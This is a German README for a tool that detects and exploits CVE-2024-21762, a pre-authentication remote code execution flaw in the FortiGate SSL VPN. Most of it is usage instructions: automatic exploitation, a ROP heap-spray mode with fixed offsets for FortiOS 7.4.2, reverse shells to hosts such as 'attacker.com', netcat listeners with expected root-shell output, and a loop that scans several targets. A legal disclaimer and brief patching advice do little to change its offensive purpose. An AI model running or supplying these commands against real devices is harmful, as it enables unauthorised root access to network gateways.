
Erkennt und nutzt CVE-2024-21762 Pre-Authentication RCE in FortiGate SSL VPN aus, mit Basisvalidierung, automatischer Ausnutzung, ROP-Heap-Spray-Modus und Reverse Shell.
Erkennungs- und Exploit-Tool für CVE-2024-21762 – Kritische Schwachstelle in FortiGate SSL VPN
⚠️ RECHTLICHER HINWEIS: Dieses Tool ist ausschließlich für den Einsatz in autorisierten Testumgebungen bestimmt. Die unbefugte Nutzung auf Systemen ist RECHTSWIDRIG und kann schwerwiegende rechtliche Konsequenzen haben.
CVE-2024-21762 ist eine kritische Schwachstelle in FortiGate SSL VPN-Komponenten, die Remote Code Execution (RCE) ohne Authentifizierung ermöglicht. Der Fehler liegt in einer unsicheren Verarbeitung von HTTP-Anfragen mit Chunked Transfer-Encoding, was zu einem Out-of-Bounds Write in der Komponente sslvpnd führt.
| Attribut | Information |
|---|---|
| CVE ID | CVE-2024-21762 |
| Schwachstelle | Out-of-Bounds Write in sslvpnd |
| Typ | Remote Code Execution (RCE) ohne Authentifizierung |
| CVSS Score | 9.8 (Kritisch) |
| Betroffene Komponente | FortiOS SSL VPN |
| Betroffene Versionen | 7.0.0–7.0.13, 7.2.0–7.2.6, 7.4.0–7.4.2 |
✅ Schwachstellenerkennung – Identifiziert anfällige FortiGate-Geräte mittels manipulierter Anfragen
✅ Baseline-Test – Überprüft das normale Serververhalten vor den Tests
✅ Automatischer Modus – Erkennt Schwachstellen und führt automatisch einen Exploit durch
✅ Reverse Shell – Unterstützt Bash-Reverse-Shell mit IP/Port-Konfiguration
✅ Eingabevalidierung – Validiert IPs und Ports vor dem Exploit
✅ Detaillierte Berichte – Erstellt Berichte mit Empfehlungen zur Behebung
✅ Robuste Fehlerbehandlung – Sicheres Verbindungs- und Ausnahmemanagement
# Repository klonen
git clone https://github.com/ihr-benutzername/CVE-2024-21762.git
cd CVE-2024-21762
# Syntax überprüfen
python -m py_compile EXPLOIT.py
# Skript ausführen
python EXPLOIT.py -h
# Einfacher Erkennungstest
python EXPLOIT.py 192.168.1.100
# Mit benutzerdefiniertem Port
python EXPLOIT.py 192.168.1.100 -p 8443
# Mit erhöhtem Timeout
python EXPLOIT.py 192.168.1.100 --timeout 20
# Automatischer Modus mit vorkonfigurierter Reverse Shell
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# Automatischer Modus ohne Angabe von Credentials (interaktive Abfrage)
python EXPLOIT.py 192.168.1.100 --auto
Der ROP-Modus implementiert einen zweistufigen Exploit mit Heap Spray für bestimmte Ziele (FortiOS 7.4.2):
# ROP-Exploit mit Node.js-Reverse-Shell
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# Mit benutzerdefiniertem Port
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# Mit erhöhtem Timeout für langsame Ziele
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
ROP-Exploit-Ablauf:
Auf Ihrem Lausch-Server:
# Linux/Mac/Windows mit netcat
nc -lnvp 4242
# Erwartete Ausgabe:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ Wichtiger Hinweis: Der ROP-Modus ist für FortiOS 7.4.2.F-build2571 optimiert. Andere Versionen funktionieren möglicherweise nicht wegen der fest codierten Offsets in der ROP-Kette.
# Reverse-Shell-Payload senden
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# Kombination mehrerer Optionen
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target Ziel-Hostname oder IP, das/die getestet werden soll
optional arguments:
-h, --help Zeigt diese Hilfemeldung an
-t, --target HOSTNAME Ziel-Hostname oder IP (alternativ)
-p, --port PORT SSL-VPN-Port (Standard: 443)
--timeout SECONDS Timeout in Sekunden (Standard: 10)
-li, --lhost IP Lokale IP zum Empfangen der Reverse Shell
-lp, --lport PORT Lokaler Port zum Empfangen der Reverse Shell
--no-baseline Überspringt den Baseline-Test
--auto Automatischer Modus: Erkennung und Exploit
--rop ROP-Modus: Erweiterter Exploit mit Heap Spray (FortiOS 7.4.2)
-v, --version Zeigt die Skriptversion an
python EXPLOIT.py 192.168.1.100
Erwartetes Ergebnis bei vorhandener Schwachstelle:
[+] Starte Schwachstellentest...
[!] VERWUNDBAR ERKANNT!
[!] Server hat Verbindung abrupt abgebrochen
[!] STATUS: VERWUNDBAR
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
Auf Ihrem Server:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
Das Tool betrachtet ein Ziel als anfällig, wenn eines der folgenden Verhaltensweisen erkannt wird:
| Version | Erkennung | ROP-Modus | Status |
|---|---|---|---|
| FortiOS 7.0.0 – 7.0.13 | ✅ Ja | ❌ Nein | ⚠️ VERWUNDBAR |
| FortiOS 7.2.0 – 7.2.6 | ✅ Ja | ❌ Nein | ⚠️ VERWUNDBAR |
| FortiOS 7.4.0 – 7.4.1 | ✅ Ja | ❌ Nein | ⚠️ VERWUNDBAR |
| FortiOS 7.4.2 (Build ≤ 2571) | ✅ Ja | ✅ Ja | ⚠️ VERWUNDBAR |
| FortiOS 7.4.3+ | ❌ Nein | ❌ Nein | ✅ BEHOBEN |
FortiOS aktualisieren auf eine behobene Version:
Vorübergehende Isolation
Überwachung
# FortiOS-Version überprüfen
python EXPLOIT.py ihr-fortinet.com
Wenn das Ergebnis „NICHT VERWUNDBAR“ anzeigt, wurde der Patch erfolgreich angewendet.